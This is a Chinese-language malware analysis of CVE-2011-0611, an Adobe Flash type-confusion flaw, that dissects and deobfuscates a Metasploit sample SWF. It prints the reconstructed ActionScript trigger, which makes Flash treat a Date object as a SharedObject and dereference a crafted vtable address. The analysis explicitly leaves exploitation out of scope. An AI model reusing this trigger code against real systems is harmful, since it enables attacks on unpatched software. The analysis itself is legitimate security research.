CVE-2011-0611 分析
参考文献:
http://secunia.com/blog/210/
写的理由:
回过头来看,Secunia的文章对该样本的分析已经非常详尽了,但是,在最初拿到样本,对照文章逐步对其进行解剖时,总是会许多无从下手的问题。
所以,就有了写这篇分析的想法,一方面是锻炼英文,一方面是因为“Happiness is only real when shared“,希望大牛们对文章中的错误
作出指正。好了,言归正传,下面就开始进入正题吧。
漏洞概述:
此处不再赘述。
分析正文:
Secunia的样本是一个嵌入了Flash的Word文档,文档名为"Disentangling Industrial Policy and Competition Policy.doc",可以在文章附件获取到
,嵌入的Flash偏移地址是0x2E08,流大小为0x2775字节。我们分析的样本是Metasploit中的CVE-2011-0611.swf,大小为1484字节,文件不同,原理一
致。
图片 Head.jpg
在对SWF格式零知识的情况下,用Flasm对样本进行反编译,命令行为 flasm -d CVE-2011-0611.swf > Now.txt,提示解码错误。
图片 DecodeErrorOne.JPG
错误信息为常量池(constant pool)长度错误,与Secunia文章中提到的第一个错误一致。
************************************************************************************************************************************
ActionRecode格式为:
值域 类型 描述
ActionCode UI8 Action类型
Length 如果Code大于0x80,长度为UI16 ActionCode后面数据的字节数
常量池的格式为:
值域 类型 描述
ActionConstantPool UI8 0x88
Count UI16 常量个数
ConstantPool STRING[Count] 字符串常量
说明:在每个Action Block首部,如果有任何变量,方法或字符串使用了两次以上,那么Flash会建立一个常量池。实际上,只要有一个变量使用了一次以上,该代码块中的所有字符串都会加入该池。
************************************************************************************************************************************
错误的常量池改正后为:
图片 HeadCorrected.JPG
再次使用Flasm进行反编译,解码结果仍然提示 Disassembly may be incomplete:wrong action length encountered,即错误的Action长度。一个一个记录的检查肯定坑爹,使用010 Editor + SWF
Template进行格式检查,模板结果显示SWF解析至DoAction段就出现了错误。打开DoAction节点,错误发生在0x5B1处。
图片 TemplateResult.JPG
图片 ParseError.JPG
发生错误的记录类型为0x96,ActionPush
************************************************************************************************************************************
值域 类型 描述
ActionPush ActionRecord 0x96,ActionRecord的长度为值类型和值的字节数
Type UI8 0 = 以Null为终止符的字符串
1 = 32位小端浮点数
以下类型在SWF >= 5 版本有效
2 = null
3 = undefined
4 = register
5 = boolean
6 = 64位双精度小端double
7 = 32位小端integer
8 = constant 8
9 = constant 16
************************************************************************************************************************************
该ActionPush记录为 96 27 01 FB 68 DB 39 D5 54 73 34 0F 46 40 9E 66 12
首先记录长度错误,将 27 01 修改为 0E 00,然后修改一个字节的类型,将 FB 修改为 00 字符串类型。
再次使用Flasm进行反编译,结果提示表示一个Action中存在分支结构,这些分支结构即为Secunia提到的复杂混淆,下面的工作是消除这些混淆。反编
译结果中存在较多形同如下代码的无效指令:
push FALSE, 326943637, 326943739 //压入两个数
oldEquals //是否相等,显然不等
not //结果取反为真
branchIfTrue label44 //满足跳转
将所有的没有必要的前向跳转和后向跳转去掉,例如:
label2:
branch label8
label4:
... ...
label8:
push X_PROPERTY, UNDEF, X_PROPERTY, c:0
branch label4
可以简化为:
label2:
push X_PROPERTY, UNDEF, X_PROPERTY, c:0
... ...
去混淆结果“代码块一”为,已经将常量索引用具体字符串替代:
frame 0 constants 'String', 'length', 'charCodeAt', 'fromCharCode', 'charAt', 'case', 'TextFormat', 'size', 'ABCDE'... ... function2 default (r:2='') () push X_PROPERTY, UNDEF, X_PROPERTY, 'String' new setRegister r:3 pop setRegister r:1 pop setRegister r:1 pop label1: push r:1, r:2, 'length' getMember lessThan not branchIfTrue label2 push r:1, 1, r:2, 'charAt' callMethod trace push r:3, r:1, 1, r:2, 'charCodeAt' callMethod push 3 subtract push 1, 'String' getVariable push 'fromCharCode' callMethod add setRegister r:3 pop push r:1 increment setRegister r:1 pop branch label1 label2: push r:3 return end // of function default
ActionScript的问题就迎刃而解了。
************************************************************************************************************************************
1.function2
我们的理解是自定义函数类型,下面给个简短的AS块:
function foo(strParam_1:string, strParam_2:string)
{
trace(strParam_1.length);
trace(strParam_2.length);
}
foo('Adobe','flash');
反编译结果:
frame 0 function2 foo(r:1 = 'strParam_1', r:2 = 'strParam_2')() push r:strParam_1, 'length' getmember trace push r:strParam_2, 'length' getmember trace end push 'Flash', 'Adobe', 2, 'foo' //AVM 支持连续push callFunction pop end
在AVM中的表示为全局寄存器,Flash虚拟机(以下简称为AVM)中有4个全局寄存器,r:0、r:1、r:2、r:3,访问变量比访问寄存器要慢许多,所以应该将最常用的变量存入寄存器以供访问。
同时在function2中有r:0 ~ r:254 一共255个本地寄存器,可以通过标识符访问,例如 r:strParam_1
将一个变量存入寄存器:
push 'paused'
getVariable
setRegister r:1
取用时,使用r:1,例如:push r:1。
3.getVariable/setVariable 字面理解就是获取/设置变量的实际值,该方法在调用之后不会将值从堆栈中弹出,需要自行POP栈顶。
4.setRegister 设置寄存器值,该方法在设置值之后不会将值从堆栈中弹出,需要自行POP栈顶。
5.getMember 访问一些类型支持的成员函数,例如
push 'String', 'length'
getMember
即调用'String'.length;
6.callMethod 访问一些AVM支持的方法,例如
push 1, 'String'
getVariable
push 'fromCharCode'
callMethod
即调用 'String'.fromCharCode(1),压栈顺序遵循 参数...对象...方法。
7.调用约定
多数情况下,AVM中遵循这样的规则 最右边参数... ... 最左边参数... ... 参数个数... ... 函数
8.宏,我们还不知道标准的称呼是?举个小例子便于理解:
getProperty('a', _x),获取'a'对象的_x属性,可以反编译为:
push 'a', Y_PROPERTY,
getProperty
setProperty('box2', _y, getProperty('box1', _y)),可以反编译为:
push 'box2', Y_PROPERTY, 'box1', 1
getProperty
setProperty
涉及到的宏为
_x 0 X_PROPERTY
_y 1 Y_PROPERTY
************************************************************************************************************************************
如果能理解这些编译规则,那么就可以对去混淆后的代码块进行还原了。
default函数还原后为将传入的字符串的每个字符值减3,伪代码(好烂的伪代码)为:
default(string){ var i = string.length; var res; while(i) { var a = string.charAt(i); a = a - 3; res += a; i--; } return res }
push 'case', X_PROPERTY, 'TextFormat' new varEquals push 'Gdwh1surwrw|sh', 1, 'default', 'wwrsurw@w+th', 1, 'getTextExtent', 'case', 'zwsw3surwrw+th', 1,... ... getVariable push 'size', 100 setMember getVariable swap callMethod pop getVariable swap callMethod pop callFunction // A getVariable push 'ABCDE', 'VkduhgRemhfw1surwrw|sh', 1, 'default' callFunction // B getVariable push 'getSize' getMember setMember push 'Gdwh1surwrw|sh', 1, 'default' callFunction // C getVariable push 'getDay' function2 () (r:1='this') push X_PROPERTY, r:this, 'ABCDE' callMethod pop end // of function
push 'Date.prototype' getVariable push 'ABCDE', 'SharedObject.prototype' getVariable push 'getSize' getMember setMember push 'Date.prototype' getVariable push 'getDay' function2 () (r:1='this') push 0, 1, r:this, 'ABCDE' callMethod pop end
代码块三
setMember push X_PROPERTY, 'getFontList', 'TextField', 1, 'Math', 2, 'createEmptyMovieClip', 'this', ... ... varEquals new varEquals getVariable swap callMethod varEquals getVariable swap callMethod pop getVariable swap callMethod pop getVariable swap callMethod pop getVariable swap callMethod pop getVariable swap callMethod pop getVariable swap callMethod pop 简化为: push 'continue', 3.1415926, 1, 'Date' new varEquals push 'case', 1.41466385537348e-315, 1, 'Date' new varEquals push 0, 'getDay', 'case' getVariable swap callMethod
Date.prototype.ABCDE = SharedObject.prototype.getSize; Date.prototype.getDay = function () {this.ABCDE();}; var f:Date = new Date(1.41466385537348e-315); f.getDay();
1.41466385537348e-315 在堆栈中保存时的形式为 0x11111110
调用f.getDay()时,相当于调用 SharedObject.prototype.getSize, 将传入的Data对象误认为SharedObject,导致将 0x11111110 作为函数虚表地址
访问,造成访问异常。
漏洞利用:
暂不在本文讨论范围之内。
分析文档见附件。